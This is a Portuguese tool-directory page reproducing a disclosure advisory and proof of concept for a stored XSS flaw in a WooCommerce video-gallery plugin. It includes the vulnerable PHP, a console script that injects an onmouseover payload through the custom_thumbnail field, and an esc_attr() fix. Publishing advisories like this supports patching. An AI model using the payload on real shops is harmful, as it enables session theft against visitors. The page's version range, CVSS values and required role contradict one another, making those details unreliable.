Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-10104-POC — Product Video Gallery for Woocommerce <= 1.5.1.8 - Authenticated Stored Cross-Site Scripting Prova de Conceito | Kitploit
Ferramentas/GitHubGitHub/ravi-lk/cve-2026-10104-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubravi-lk/cve-2026-10104-poc

CVE-2026-10104-POC

Product Video Gallery for Woocommerce <= 1.5.1.8 - Authenticated Stored Cross-Site Scripting Prova de Conceito

Ver Repositório
2há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-10104: Cross-Site Scripting Armazenado em Product Video Gallery para WooCommerce

Resumo

DetalheValor
ID CVECVE-2026-10104
PluginProduct Video Gallery for WooCommerce
FornecedorTechnoSoft Webs (NikHiL Gadhiya)
TipoCross-Site Scripting Armazenado (XSS)
CWECWE-79 — Neutralização Incorreta de Entrada Durante a Geração de Páginas Web
CVSS 3.14.4 (Médio)
Versões Afetadas≤ 1.5.1.6
Versão Corrigida1.5.1.9
Requer AutenticaçãoSim — Contributor+ (qualquer função que possa editar produtos)
Descoberto porRavindu Lakmina Munaweera

Descrição

O plugin Product Video Gallery for WooCommerce para WordPress (versões até e incluindo 1.5.1.6) é vulnerável a Cross-Site Scripting Armazenado (XSS) através do parâmetro de metadados do produto custom_thumbnail.

O método save_wc_video_url_field() do plugin sanitiza o parâmetro POST custom_thumbnail[] usando sanitize_text_field(), que remove tags HTML, mas não remove caracteres de aspas duplas ("). No front-end, o valor armazenado é inserido diretamente nos atributos de uma tag `` em nickx_get_video_thumbanil_html() sem o escaping de esc_attr(). Isso permite que um atacante autenticado injete atributos arbitrários de manipuladores de eventos HTML (ex.: onmouseover, onerror) que executam JavaScript no navegador de qualquer visitante — incluindo usuários não autenticados — que visualizar a página do produto afetada.


Vetor CVSS 3.1

root@kitploit:~
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Código Afetado

Saída (Output — Sem Escaping)

Arquivo: public/class-rendering.php
Método: nickx_get_video_thumbanil_html()

root@kitploit:~
// Line 365 — value inserted without esc_attr()
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
    ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
    : '';

// Line 379 — rendered inside  tag on the public frontend
echo '';

Origem (Save — Sanitização Insuficiente)

Arquivo: admin/class-video-field.php
Método: save_wc_video_url_field()

root@kitploit:~
// Line 309-310 — sanitize_text_field() strips tags but NOT double quotes
if ( isset( $_POST['custom_thumbnail'] ) ) {
    update_post_meta( $post_id, '_custom_thumbnail', 
        array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}

Prova de Conceito

Pré-requisitos

  • WordPress com WooCommerce instalado
  • Plugin: Product Video Gallery for WooCommerce ≤ 1.5.1.6
  • Um produto WooCommerce com uma URL de vídeo do YouTube configurada
  • Uma conta com privilégios de edição de produtos (Shop Manager, Autor, etc.)

Passos para Reproduzir

  1. Faça login como Shop Manager (atacante).

  2. Navegue até Products → Edit em qualquer produto que tenha uma URL de vídeo definida no campo "Product Video Url".

  3. Abra as Ferramentas do Desenvolvedor do navegador (F12) → aba Console.

  4. Cole e execute o seguinte JavaScript:

root@kitploit:~
const form = document.getElementById('post');

// Set thumbnail ID to a non-empty value (required by render condition)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }

// Inject XSS payload via custom_thumbnail
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
  1. Clique em "Update" para salvar o produto.

  2. Abra a página do produto no front-end em uma janela anônima/privada (não autenticada).

  3. Passe o mouse sobre a miniatura do vídeo na galeria do produto.

  4. ✅ O alerta JavaScript é executado, confirmando o XSS Armazenado.

imagem imagem

Saída Renderizada

root@kitploit:~

A aspa dupla " injetada fecha o atributo custom_thumbnail, e onmouseover se torna um novo atributo executável no elemento ``.


Impacto

  • XSS Armazenado é executado no front-end público para todos os visitantes, incluindo usuários não autenticados
  • Atacantes podem roubar cookies de sessão e sequestrar contas de administrador
  • Atacantes podem redirecionar clientes para sites de phishing ou distribuição de malware
  • Atacantes podem desfigurar páginas de produtos ou injetar cryptominers
  • Requer apenas acesso de nível Contributor para explorar

Remediação

Aplique esc_attr() ao valor da miniatura personalizada antes de inseri-lo no atributo HTML:

root@kitploit:~
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
-     ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
-     : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
+     ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"' 
+     : '';

Essa mesma correção deve ser aplicada a todas as instâncias em nickx_get_video_thumbanil_html() onde $custom_thumbnail é construído (tanto nos caminhos de código de array quanto de não array).


Cronograma de Divulgação

DataEvento
2026-03-20Vulnerabilidade descoberta
2026-03-20Reportada ao Wordfence (CNA)
2026-05-29ID CVE atribuído: CVE-2026-10104
2026-07-01Divulgação pública

Créditos

  • Descoberto por: Ravindu Lakmina Munaweera
  • CVE atribuído por: Wordfence (CNA)
  • CVE ORG

Referências

  • CVE-2026-10104
  • Página do Plugin WordPress
  • Entrada na Base de Dados de Vulnerabilidades do Wordfence
  • CWE-79: Cross-site Scripting
  • Folha de Dicas de Prevenção de XSS da OWASP

Licença

Este aviso é publicado sob CC BY 4.0.

Baixar ferramenta
MétricaValor
Vetor de AtaqueRede
Complexidade do AtaqueBaixa
Privilégios NecessáriosBaixos
Interação do UsuárioNenhuma
EscopoAlterado
Impacto na ConfidencialidadeBaixo
Impacto na IntegridadeBaixo
Impacto na DisponibilidadeNenhum